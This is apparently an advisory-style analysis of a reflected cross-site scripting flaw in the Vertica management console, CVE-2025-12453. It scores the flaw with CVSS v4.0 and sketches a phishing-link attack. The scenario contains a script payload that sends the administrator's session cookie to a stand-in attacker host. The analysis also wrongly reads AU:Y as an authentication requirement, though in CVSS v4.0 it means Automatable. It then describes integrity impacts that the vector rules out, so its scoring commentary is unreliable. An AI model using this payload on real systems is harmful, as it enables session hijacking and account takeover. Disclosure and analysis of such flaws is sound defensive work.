Vertica CVE-2025-12453

The CVSS v4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/AU:Y/R:U) indicates low attack complexity with network accessibility but requiring user interaction—a moderate real-world threat. The score of 5.1 reflects limited confidentiality impact (VC:L) and no integrity or availability impact to the target, yet the presence of AU:Y suggests authentication context may limit some attacks. The vulnerability does not appear to be in the CISA Known Exploited Vulnerabilities (KEV) catalog based on provided data, and no public proof-of-concept has been disclosed at the time of analysis, reducing immediate exploitation probability. However, Reflected XSS vulnerabilities are trivially exploitable once weaponized (single malicious link), and the requirement for user interaction via a phishing or social engineering attack is a low barrier. This should be prioritized for patching in environments where administrators and users access the console from untrusted networks or receive external email, but is lower priority in isolated, air-gapped deployments.

An attacker crafts a malicious URL containing JavaScript payload (e.g., https://vertica-console.example.com/login?error=<script>fetch('attacker.com/steal?cookie='+document.cookie)</script>) and sends it to a Vertica administrator via phishing email. When the administrator clicks the link, the unencoded input is reflected in the error message displayed by the management console, executing the attacker's script in the administrator's browser context. The script exfiltrates the administrator's session cookie or performs actions on their behalf (e.g., creating new admin accounts or exporting database contents), since the CVSS indicates authentication (AU:Y) is required for privilege escalation but not for initial exploitation.